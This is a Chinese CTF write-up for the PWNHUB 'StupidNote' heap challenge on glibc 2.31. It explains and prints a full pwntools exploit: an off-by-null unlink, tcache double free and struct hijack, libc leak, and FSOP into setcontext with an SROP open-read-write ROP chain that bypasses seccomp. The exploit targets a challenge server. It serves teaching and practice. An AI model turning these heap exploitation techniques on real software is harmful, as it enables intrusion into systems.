【PWNHUB双蛋内部赛】StupidNote Writeup

警告
本文最后更新于 2021-05-15,文中内容可能已过时。

みんな、良いお年を

又是新的一年,今年一定要更加努力哦!也希望正在看我的博客的各位越来越好,成为AK全场的大师傅!

感谢cnitlrt师傅这段时间以来对我的照顾!让我学到了很多很多!

题目背景

来自PWNHUB2020内部赛的一道题目,经过朋友的邀请我加群想看看题目。

结果没想到,开局就是给我当头一棒。

图片

这道题目,应该是放出来了将近一天,任然没有人拿到一血,所以主办方放出了一些提示。

但是,在libc-2.31下的题目我可是一次都没有做过啊,对于更新的检查啥的我也是从来没有了解过。经过这道题目,我对libc-2.31有了一个浅显的认识。

题目出的非常好,结合的知识点相当全面,使我受益匪浅。

题目一览

给出的hint很有限,但是起码知道了一个入手点。接下来我们来看看具体的代码。

图片

先来看看开头的那个函数干了什么。这里似乎用到了一些花指令的东西,我们尝试在他下面用p键建立IDA未能自动识别的函数。

在这个函数内,我们可以看到:

图片

使用ptctl开启了沙箱保护,这里我们用seccomp-tools进行检测。

图片

通过检测后的代码可以很清楚的看到,几乎程序禁用了大部分可以执行shell的函数(间接调用),所以这道题我们需要考虑用orw(open,read,write)来读写flag。

接下来就要开始阅读程序功能

这是整体的代码逻辑,程序有两个主功能:

图片

add函数中对malloc的size做了限制,不能够大于0x200。

图片

图片

这也就遏制了我们利用largebin attack的一些念想。

程序主功能只有两个,但是通过free_hook,程序还加入了另外两个功能:

图片

没错,程序通过free_hook引入了两个功能,edit_heap和show_heap,但是这也意味着,在使用这两个功能之后就必须free掉这个chunk。

而在edit_heap函数中,就存在很明显的off by null

图片

但是在这里读取size的形式和以前不太一样,他是根据堆块的位置去寻找堆块前的size位,然后根据size位的内容进行读写(-9 的原因是,prev_inuse = 1,堆块对齐 = 8),读写的过程中存在off by null。

show函数通过puts来输出堆块内容:

图片

利用过程

这次的利用思路采取自然联想的方法,从一个入手点出发,逐个解决会遇到的问题,与做题的真实情况较为贴切。

1.如何构造才能利用 off by null

我们肯定要先想办法利用off by null来构成一个UAF才能进行下一步的利用。

但是在libc2.31上的话,off by null是比较难利用的,我们一般利用off by null来构造重叠堆块(house_of_einherjar)来进行UAF,但是在libc2.29的时候,unlink的时候对size位进行了检测,使得使用这种方法会报错。

对于glibc-2.29新加入的检测可以看这篇文章(http://blog.eonew.cn/archives/1167#chunk_extend

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

通过这样的检测,使得我们无法使用一般的方法进行构造堆重叠,所以在这次更新后,off by null的利用只有唯一的方法——伪造FD和BK。 早在前段日子,我们就学习过如何构造FD和BK来控制bss段上的heap_ptr数组,而这里也是类似于那里的绕过方法。

我们需要知道当前堆栈的指针,然后伪造才能当前堆块的FD和BK指向当前堆块。

这样的利用方法,类似于:http://blog.eonew.cn/archives/1233这道题,大家有兴趣的可以学习一下。

2.怎么才能泄露堆地址

这可能是这道题中最简单的一个部分,泄露堆地址。

由于libc版本高于libc-2.27,所以程序应该默认开启了tcache机制,我们知道tcache类似于fastbin,当堆块被free状态下时,会利用fd位置作为指向下一个堆块位置。

所以我们这里就可以利用这个机制,当我们申请回这个堆块的时候,这块位置的内容不会被清空,所以我们直接输出这里的内容,就可以轻松获得在堆上的一个指针,通过偏移计算出heapbase。

这里我们由于在申请堆块的时候,必须要写入一个字符,所以我这里写入的 ‘a’ 会覆盖掉部分的指针内容,不过这并不影响我们计算偏移值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# leak heapbase by tcache
add(0x18)  # 0
add(0x18)  # 1
free(0)
free(1)
add(0x18)  # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))

3.具体怎么来伪造FD和BK,需要伪造哪些内容

首先我们要找到一个位置,这个位置可以指向堆块的头部。

我们首先需要绕过这个检测

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

我们可以构造 FD = ptr - 0x18, BK = ptr - 0x10,*ptr = fake_chunk_ptr,从而绕过检测。 如果这里没搞懂的,可以看一下我之前写的unlink的文章。

其次我们需要伪造最后一个堆块的prev_inuseprev_size,这两个指针的内容。

PREV_INUSE我们可以通过off by null来复写0xF8 size的堆块,使其size位从

0x101 变成了 0x100。

其次就是伪造prev_size,来绕过这个新加入的检测机制。

这里需要注意的几点是:

1.由于edit之后会直接free掉,所以我们这里用于off by null的那个chunk,一定不能复写prev_size的内容(如果是进入unsorted bin就会复写)。所以我们这里要让off by null的chunk进入tcache中,这样就不会复写那部分的内容。

2.当我们free最上面的那个堆块的时候(现在看来好像不是必要的,应该是那个时候脑抽了)。

不能覆盖掉伪造的size位,而glibc-2.29以上的tcache中有一个key位,这个位的写入会覆盖掉我们伪造的size位,从而导致报错。所以我们这里只能让他写入next的位置,也就是让这个堆块进入到fastbin中(把tcache填满)。

3.当我们要申请0x68 size的堆块的时候,会优先去tcache中申请,但是在这之前tcache都被我们填满了内容,所以我们要把tcache的数据全部都拿出来。这样在下一次申请的时候才能够从unsorted bin中分割。

1
2
3
4
5
6
typedef struct tcache_entry
{
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
} tcache_entry;

unlink利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr))  # 0
add(0x68, 'target')  # 1 overlapping
add(0x28)  # 2
add(0xF8)  # 3
add(0x28)  # 4
fill(0x68, 5)
fill(0xF8, 5)
edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10))  # insert to tcache
free(0)  # insert to fastbin
free(3)  # insert to unsortedbin => unlink
add(0x58, 'a' * 8)  # 0
for i in range(0x8):
    add(0x68)  # 2, 3, 5, 6, 7, 8, 9, 10
add(0x68)  # 11 overlapping with 1
add(0x128)  # 12

4.堆块重叠后怎么来任意写

我这里首先考虑到的就是相对方便的tcache,我们可以利用tcache double free,由于新版本加入了key的检测,我们直接利用野指针来进行double free的方法以及失效(不过这道题也没有)。

检测就是,如果当前key的内容将要释放的tcache的指针内容对应,那么会对tcache列表进行一个遍历来判断有没有double free。

所以有了这样的检测,我们在fastbin attack中常用的a->b->a方法也无法绕过。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if (__glibc_unlikely (e->key == tcache))
{
	tcache_entry *tmp;
	LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
		if (tmp == e)
			malloc_printerr ("free(): double free detected in tcache 2");
	/* If we get here, it was a coincidence.  We've wasted a
	   few cycles, but don't abort.  */
}

我自己想到了两种绕过方法 1.修改size位让tcache free进入不同的位置

2.利用UAF来清空key的内容。

我们这里就利用第二种方法。通过overlapping chunk来清空key的内容,从而构成double free。

绕过了检测后,我们就要考虑怎么样才能任意写,一种方法是直接修改tcache的next内容来劫持到想要写的地方,由于tcache没有size检测,这会变的非常的容易,但是这种方法的弊端就是,我们一次off by one之后只能任意写一次。

而且这里由于开启了沙箱保护,我们一次写入的肯定不够,所以我们选择另外一种简单又方便的方法:劫持tcache struct 的内容。

劫持这部分内容,可以修改其中的数据,达到任意分配的目的。这一部分的细节我不再展开,有兴趣的可以看我之前写过的tcache利用。

这部分的坑点:

1.修改tcache struct的时候会遇到一个新的检测:

当malloc的时候会检测tcache的counts是否大于0,只有大于0才会从tcache中取出,所以如果我们修改结构到一个counts为0的index上,那么是申请不出来的,不过也不会报错。

具体的代码我还没有找到,先留个坑,有知道的师傅可以评论区留言一下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# bypass tcache counts check
add(0x68)  # 0
free(0)
# tcache double free
free(1)
edit(11, p64(0) * 2)  # bypass tcache check
# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0))  # 0
add(0x68, p64(heap_base + 0xb0))  # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr))  # 11

5.如何泄露libc

这部分也比较容易,我们可以利用unsorted bin leak来达到目的,这里就不做过多的讲解了。

这里我计算出了很多变量的数据,这部分数据在接下来的利用过程中我会做介绍。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))
stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229

6.如何构造才能ORW

这一步是我在这之前从未接触过的,这一部分的内容非常巧妙,希望各位仔细品读,cnitlrt师傅的文章:https://www.anquanke.com/post/id/216290#h3-2

我们可以利用setcontext函数来做SROP,从而把堆上的利用转化为ROP链的设计。

但是我们知道,调用setcontext函数需要传入一定的参数。

1
int setcontext(const ucontext_t *ucp);

所以我们遇到的一个问题是,如何才能传参数,一般都会想到的是__free_hook吧,但是好巧不巧的是,这道题的__free_hook被用于去做edit和show这两件事情了,我们就算写入了也不会被执行,所以这里只能利用__malloc_hook来劫持,但是如何才能通过__malloc_hook传递我们想要的参数呢? 如果这道题对size没有限制,那么我们设置的size大小就会成为参数,可惜这道题限制了size大小不能超过0x200,所以我们不能简单的利用malloc进行传参。

这里可以考虑到一个函数,_IO_str_overflow,我们修改vtable指向这个函数(由于glibc2.27以上就对vtable的范围做了检测,所以这里我们不能简单的修改vtable到堆上的某个位置)。

然后我们可以利用FSOP,在程序退出执行_IO_flush_all_lockp的时候,使得程序去执行_IO_str_overflow函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
        return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf = malloc (new_size);
          if (new_buf == NULL)
            {
              /*          __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              free (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen);
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
    }
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

这部分的构造方法,我在之前已经提及:https://blog.wjhwjhn.com/archives/138/ 如果有不懂的,可以去了解一下如何构造进行传参。

7.怎么出错了?

没错,第六步的传参思路是有问题的,让我们来回到setcontext。

我们可以发现在之前的版本中setcontext的代码是这样的:

http://blog.eonew.cn/archives/993

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<setcontext>:     push   rdi
<setcontext+1>:   lea    rsi,[rdi+0x128]
<setcontext+8>:   xor    edx,edx
<setcontext+10>:  mov    edi,0x2
<setcontext+15>:  mov    r10d,0x8
<setcontext+21>:  mov    eax,0xe
<setcontext+26>:  syscall 
<setcontext+28>:  pop    rdi
<setcontext+29>:  cmp    rax,0xfffffffffffff001
<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128>
<setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:  fldenv [rcx]
<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret    
<setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>: neg    eax
<setcontext+137>: mov    DWORD PTR fs:[rcx],eax
<setcontext+140>: or     rax,0xffffffffffffffff
<setcontext+144>: ret

由于我们不能够执行,fldenv [rcx]这一行代码,我们通常都是设置__malloc_hooksetcontext+53这个位置的,然后利用第一个参数正好是rdi来进行利用。 没想到的是,在glibc2.29版本,这部分内容发生了改动,变成了以下这个样子。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near               ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

没错,之前的这些数据内容,都从rdi转到了rdx,这让我们的利用难度提升了。 因为rdx是x64传入第三个参数的时候才会用到的,我们这里肯定没有可以劫持的地方可以用于传入三个参数。

不过,多调试肯定不会吃亏,在调试的过程中,我在_IO_str_overflow函数中发现了一个大宝贝。

图片

没错,在执行_IO_str_overflow的时候会把rdx赋值为一个值,而这个值正是指向我们可控的stderr位置。(我这里FSOP利用的是stderr这个fp指针)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

我们通过上面的表格来找一找0x28位置对应的内容,发现正好对应的是_IO_write_ptr指针,这个指针在之前的构造中我们是改为0xffffffffffffffff,来使得在if判断的时候一定能够成功,而这里我们构造成我们可控的堆块地址,这样的话其实也是一个比较大的数(如果开启了PIE),那么也可以当做一个有效的构造,更重要的是,我们可以利用这个来传参到setcontext。 所以我们只要构造成如下图所示,那么我们就可以传参到setcontext了。

图中_IO_write_ptr指针位置为可控的堆块。

图片

满足了这些条件后,我们再用fsop来看看是否可以执行。

图片

题外话

以上方法构造较为巧妙,如果不使用rdx残余信息或者不通过操作IO_FILE(比如__free_hook可以利用的情况下)那该怎么办呢?

我们可以考虑使用ropper在libc中搜索到一个gadget,该gadget形式一般如下。

1
ropper -f "./libc-2.31.so" --search "mov rdx"

图片

通过类似这样的gaget,来把rdi的参数传递到rdx上,然后根据gadget再构造堆块信息。

在libc-2.31下gadget的形式一般是:

1
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

在libc-2.29下gadget的形式一般是:

1
mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

libc-2.27及以下,参数直接是rdi,所以不需要gadget。 找到了一张描述该过程的图片,可以根据图片上的内容来更为形象的理解:

图片

图片来源:https://bbs.pediy.com/thread-263640.htm

8.ORW的ROP链设计

完成了以上步骤后,我们才可以成功的执行setcontext来构造SROP,这个利用链大概是这样的。

1
exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw

接下来我们就可以利用setcontext来控制到程序的rsi,下一步我们只需要构造ROP链即可。 要构造出ROP链,我们首先就要需要几个能够控制寄存器的gadget。

我们这里利用ROPgadget和ropper一起来找ROP,

我是通过ROPgadget来找到了以下ROP

pop rax ; ret

通过命令:

1
ROPgadget --binary=libc-2.31.so | grep "pop rax"

找到了这一行 图片

1
0x000000000004a550 : pop rax ; ret

pop rdi ; ret

通过命令:

1
ROPgadget --binary=libc-2.31.so | grep "pop rdi"

找到了这一行 图片

1
0x0000000000026b72 : pop rdi ; ret

pop rsi ; ret

通过命令:

1
ROPgadget --binary=libc-2.31.so | grep "pop rsi"

找到了这一行 图片

1
0x0000000000027529 : pop rsi ; ret

pop rdx ; ret

这个命令我没有找到较为合适的,但是后来经过思考,发现似乎并不需要,在RW过程中,我们第三个参数都是size,我们只要在setcontext的时候直接设置rdx为0x100,接下来就不需要对他进行修改,一直保留着这个内容

syscall ; ret

这个命令我在ROPgadget没有找到合适的,后来问了一下师傅,听说可以用ropper找到,那我就尝试了一下。如果有更好的方法欢迎各位指出!

图片

我是用ropper的asm功能实现的:

1
ropper --asm "syscall;ret"

图片

先得到这个指令的汇编指令内容:0f05c3

然后通过ropper的opcode搜索功能进行搜索

1
ropper --file libc-2.31.so --opcode 0f05c3

图片

得到:

1
0x0000000000066229: 0f05c3; 

注意,我们这里搜索的gadget都是在libc中的,因为我们有libc的基址所以可以这样利用。但是这道题有个恶心的地方就在于他没有给libc,所以我们得到的这些偏移应该要和服务器libc的偏移一致,我这里运气比较好,本地打通了,服务器也正好打通了。

找到了以上的gadget后,我们就可以构造ROP链了。

这里需要记住的几个知识点:

1.syscall,通过rax来传递调用号

2.setcontext是不能够设置rax的值,因为在结尾处做了xor eax,eax。其实这个就是优化版的mov eax,0。

3.open的调用号是2,read的调用号是0,write的调用号是1

4.要给伪造后的rsp的上部预留一些空间(在setcontext中至少预留要0x8),尽量不要在这之上填写有用的信息,比如我刚开始的时候把“flag”字符串放在这个位置,结果在执行的时候就被覆盖掉了。

其他细节就看代码吧!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679  # ret
rop_data = [
pop_rax_addr,  # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr,  # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload)  # fake_frame

9.成功啦!

在程序的执行的最后,我们终于成功得到了flag。

图片

总结

最后一步可以说是这也是我研究了十多个小时(睡觉都没睡好)最终得到的一些认可吧,我觉得题目出的相当的好,结合了绝大多数我会的和我不会的知识点,让我受益匪浅。

当然,只有我自己一定肯定不能够成功,这里还是要多谢cnitlrt师傅对我的帮助。

PS:我没有参加比赛,我也没有提交flag,研究此题的目的就是学习

EXP:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import *
from LibcSearcher import *

# r = process('./pwn')
r = remote('139.217.102.146', 65386)
context.log_level = "debug"
context.arch = "amd64"


def choice(idx):
    r.sendlineafter("choice:", str(idx))


def add(size, content='a'):
    choice(1)
    r.sendlineafter("Size of info:", str(size))
    r.sendafter("Info:", content)


def edit(idx, content):
    choice(2)
    r.sendlineafter("index:", str(idx))
    choice(1)
    r.sendafter("Info:", content)


def show(idx):
    choice(2)
    r.sendlineafter("index:", str(idx))
    choice(2)


def free(idx):
    show(idx)


def fill(size, idx):
    for i in range(0x7):
        add(size)
    for i in range(0x7):
        free(idx + i)


# leak heapbase by tcache
add(0x18)  # 0
add(0x18)  # 1
free(0)
free(1)
add(0x18)  # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))

# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10

add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr))  # 0
add(0x68, 'target')  # 1 overlapping
add(0x28)  # 2
add(0xF8)  # 3
add(0x28)  # 4
fill(0x68, 5)
fill(0xF8, 5)

edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10))  # insert to tcache
free(0)  # insert to fastbin
free(3)  # insert to unsortedbin => unlink

add(0x58, 'a' * 8)  # 0
for i in range(0x8):
    add(0x68)  # 2, 3, 5, 6, 7, 8, 9, 10

add(0x68)  # 11 overlapping with 1
add(0x128)  # 12

# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)

libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))

setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))

stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))

pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229

# bypass tcache counts check
add(0x68)  # 0
free(0)

# tcache double free
free(1)
edit(11, p64(0) * 2)  # bypass tcache check

# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0))  # 0
add(0x68, p64(heap_base + 0xb0))  # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr))  # 11

# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679  # : ret

rop_data = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,

    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]

payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload)  # fake_frame

# hijack IO_FILE(stderr)
stderr_payload = p64(0) + p64(0) * 4 + p64(fake_frame_addr) + p64(0) + p64(0) + p64(0)
stderr_payload = stderr_payload.ljust(0xD8, '\x00') + p64(libc_base + 0x1ed560)  # _IO_str_jumps
add(0xF8, stderr_payload)

# hijack __malloc_hook
add(0x58, p64(setcontext_addr + 61))

# exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
choice(3)
r.interactive()
0%